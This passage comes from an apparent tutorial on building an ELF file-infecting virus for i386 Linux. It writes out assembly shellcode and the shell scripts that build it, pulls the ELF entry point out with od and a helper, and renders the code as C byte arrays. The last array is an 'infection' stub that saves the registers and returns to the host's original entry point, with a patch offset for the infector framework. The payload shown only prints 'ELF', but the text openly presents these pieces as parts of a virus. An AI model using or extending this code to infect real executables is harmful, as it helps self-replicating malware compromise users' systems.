"Evil does seek to maintain power by suppressing the truth." "Or by misleading the innocent." | |
Spock and McCoy, "And The Children Shall Lead", star date 5029.5. |
The code generated by gcc(1) is not suitable for a virus. So here comes hand crafted code. [1]
Source: src/evil_magic/i386_Linux_intel.S
BITS 32
global _start
_start: push byte 4
pop eax ; eax = 4 = write(2)
xor ebx,ebx
inc ebx ; ebx = 1 = stdout
mov ecx,0x08048001 ; ecx = magic address
push byte 3
pop edx ; edx = 3 = three characters
int 0x80
xor eax,eax
inc eax ; eax = 1 = exit(2)
xor ebx,ebx ; ebx = 0 = return code
int 0x80 |
Command: pre/i386-redhat8.0-linux/evil_magic/intel.sh
#!/bin/bash
src=${1:-./src/evil_magic/i386_Linux_intel.S}
exe=${2:-tmp/i386-redhat8.0-linux/evil_magic/intel}
obj=${exe}.o
/usr/bin/nasm -f elf -o ${obj} ${src} \
&& /usr/bin/ld -o ${exe} ${obj} \
&& /usr/bin/strip ${exe} \
&& ${exe} |
Output: out/i386-redhat8.0-linux/evil_magic/intel
ELF |
Output is good. But how do we get the resulting machine code? We can't just add a call to printf(3) to the assembly code. Above example is not linked with glibc; it does not even have a function called main.
On the other hand things became a lot easier. There is no initialization code that gets executed before _start, so the address of _start is really the ELF entry point of the executable. Time to have a closer look at the ELF header. Check out the code at Offset of e_entry (i)
Output: out/i386-redhat8.0-linux/evil_magic/ofs_entry
sizeof_int=4
sizeof_long=4
sizeof_size_t=4
sizeof_Elf32_Ehdr=52
sizeof_Elf32_Shdr=40
sizeof_Elf32_Phdr=32
offset_e_entry=24
sizeof_e_entry=4
offset_e_phoff=28
sizeof_e_phoff=4 |
It's interesting that e_entry is at the same offset in both Elf32_Ehdr and Elf64_Ehdr (of course the size of the field is different).
The classic approach to extract this value from an executable is a combination of dd(1) and od(1). A first (and useless) prototype:
Command: pre/i386-redhat8.0-linux/evil_magic/od.sh
#!/bin/bash
file=${1:-tmp/i386-redhat8.0-linux/evil_magic/intel}
/bin/dd if=${file} bs=1 skip=24 count=8 | /usr/bin/od -x |
Output: out/i386-redhat8.0-linux/evil_magic/od
0000000 8080 0804 0034 0000
0000010 |
dd can be replaced by od -j 24 on Solaris and Linux. FreeBSD's implementation spells that od +24. FreeBSD and Linux also provide hexdump -s 24. But unfortunately neither the traditional od nor the modern hexdump on FreeBSD can process 8 byte values. Still worse, I know one installation of alpha-m/additional.cs.xml where perl is compiled without 64-bit support. To reliably cover 64-bit platforms (especially big endian Ultra-Sparc) we need more power.
Source is at Extracting e_entry (i). Also used at The entry point.
Command: pre/i386-redhat8.0-linux/evil_magic/e_entry.sh
#!/bin/bash
tmp/i386-redhat8.0-linux/evil_magic/e_entry \
tmp/i386-redhat8.0-linux/evil_magic/intel |
Output: out/i386-redhat8.0-linux/evil_magic/e_entry
8048080 128 |
The entry point is specified as a virtual address in memory. By subtracting the base address we get the file offset.
Offset of entry point in file:
0x8048080 - 0x8048000 = 0x80 = 128
Command: pre/i386-redhat8.0-linux/evil_magic/ndisasm.sh
#!/bin/bash
read entry_point ofs \
< out/i386-redhat8.0-linux/evil_magic/e_entry
/usr/bin/ndisasm -e ${ofs} -o 0x${entry_point} -U \
tmp/i386-redhat8.0-linux/evil_magic/intel \
| /bin/sed 12q |
Output: out/i386-redhat8.0-linux/evil_magic/intel.asm
08048080 6A04 push byte +0x4
08048082 58 pop eax
08048083 31DB xor ebx,ebx
08048085 43 inc ebx
08048086 B901800408 mov ecx,0x8048001
0804808B 6A03 push byte +0x3
0804808D 5A pop edx
0804808E CD80 int 0x80
08048090 31C0 xor eax,eax
08048092 40 inc eax
08048093 31DB xor ebx,ebx
08048095 CD80 int 0x80 |
There is still one thing left: Dressing up the hex dump as C source. We use the script from Dressing up binary code (i).
Output = Source: out/i386-redhat8.0-linux/evil_magic/evil_magic.c
const unsigned char main[]
__attribute__ (( aligned(8), section(".text") )) =
{
0x6A,0x04, /* 08048080: push byte +0x4 */
0x58, /* 08048082: pop eax */
0x31,0xDB, /* 08048083: xor ebx,ebx */
0x43, /* 08048085: inc ebx */
0xB9,0x01,0x80,0x04,0x08, /* 08048086: mov ecx,0x8048001 */
0x6A,0x03, /* 0804808B: push byte +0x3 */
0x5A, /* 0804808D: pop edx */
0xCD,0x80, /* 0804808E: int 0x80 */
0x31,0xC0, /* 08048090: xor eax,eax */
0x40, /* 08048092: inc eax */
0x31,0xDB, /* 08048093: xor ebx,ebx */
0xCD,0x80 /* 08048095: int 0x80 */
}; /* 23 bytes (0x17) */ |
Calling the string constant main is not a mistake. Above output is a complete and valid C program. [2]
Command: pre/i386-redhat8.0-linux/evil_magic/cc.sh
#!/bin/bash
/usr/bin/gcc \
-Wall -O1 -I . -I out/i386-redhat8.0-linux -D NDEBUG \
out/i386-redhat8.0-linux/evil_magic/evil_magic.c \
-o tmp/i386-redhat8.0-linux/evil_magic/cc \
2>&1 | /usr/bin/fmt -s \
&& tmp/i386-redhat8.0-linux/evil_magic/cc |
Output: out/i386-redhat8.0-linux/evil_magic/cc
out/i386-redhat8.0-linux/evil_magic/evil_magic.c:2: warning: `main'
is usually a function
ELF |
Up to now our code is intended to be stand-alone. Obviously we must replace the call to exit(2). Instead we have to resume with the original code of the host executable. The last line of assembler code is used to specify the offset of a spot to patch with the original entry address. This ends up in the definition of ENTRY_POINT_OFS required by the framework in One step closer to the edge (i). Note the "i1" in the path of the file name. This is just the first implementation. It will be replaced later on.
Anyway, I think it's a better idea to let our code end with an unsuspicious ret instead of a jmp. And we can put the matching push at the start of the code to have the actual return address at a constant location. And while we are at it, saving all registers and the flags can't be bad.
Source: src/one_step_closer/i1/i386_Linux_intel.S
BITS 32
start: push dword 0 ; replace with original entry address
pushf
pusha
push byte 4
pop eax ; eax = 4 = write(2)
xor ebx,ebx
inc ebx ; ebx = 1 = stdout
mov ecx,0x08048001 ; ecx = magic address
push byte 3
pop edx ; edx = 3 = three characters
int 0x80
popa
popf
ret
push byte start + 1 ; dummy instruction to specify ofs |
Command: pre/i386-redhat8.0-linux/one_step_closer/intel.sh
#!/bin/bash
dst=$1; shift
full_dir=${dst%/*}
inf_dir=${full_dir##*/}
tmp_dst=tmp/i386-redhat8.0-linux/one_step_closer/${inf_dir}/infection
/usr/bin/nasm -f bin -o ${tmp_dst} \
./src/one_step_closer/${inf_dir}/i386_Linux_intel.S \
&& /usr/bin/ndisasm -U ${tmp_dst} \
| ./src/platform/disasm.pl \
"-last_line_is_ofs=" \
"-identifier=infection" \
"$@" > ${dst} |
Output = Source: out/i386-redhat8.0-linux/one_step_closer/i1/infection.inc
const unsigned char infection[]
__attribute__ (( aligned(8), section(".text") )) =
{
0x68,0x00,0x00,0x00,0x00, /* 00000000: push dword 0x0 */
0x9C, /* 00000005: pushf */
0x60, /* 00000006: pusha */
0x6A,0x04, /* 00000007: push byte +0x4 */
0x58, /* 00000009: pop eax */
0x31,0xDB, /* 0000000A: xor ebx,ebx */
0x43, /* 0000000C: inc ebx */
0xB9,0x01,0x80,0x04,0x08, /* 0000000D: mov ecx,0x8048001 */
0x6A,0x03, /* 00000012: push byte +0x3 */
0x5A, /* 00000014: pop edx */
0xCD,0x80, /* 00000015: int 0x80 */
0x61, /* 00000017: popa */
0x9D, /* 00000018: popf */
0xC3 /* 00000019: ret */
}; /* 28 bytes (0x1c) */
enum { ENTRY_POINT_OFS = 0x1 }; |
[1] | Optimized for size. Twenty three is the perfect number of bytes. See http://www.goethe.de/uk/mon/archiv/gh00/e23.htm |
[2] | Even experienced hackers seem to be stunned about this one. The idea is quit famous, though. It won the first International Obfuscated C Coding Contest in 1984. See http://www.es.ioccc.org/1984/mullender.c and http://www.es.ioccc.org/1984/mullender.hint. |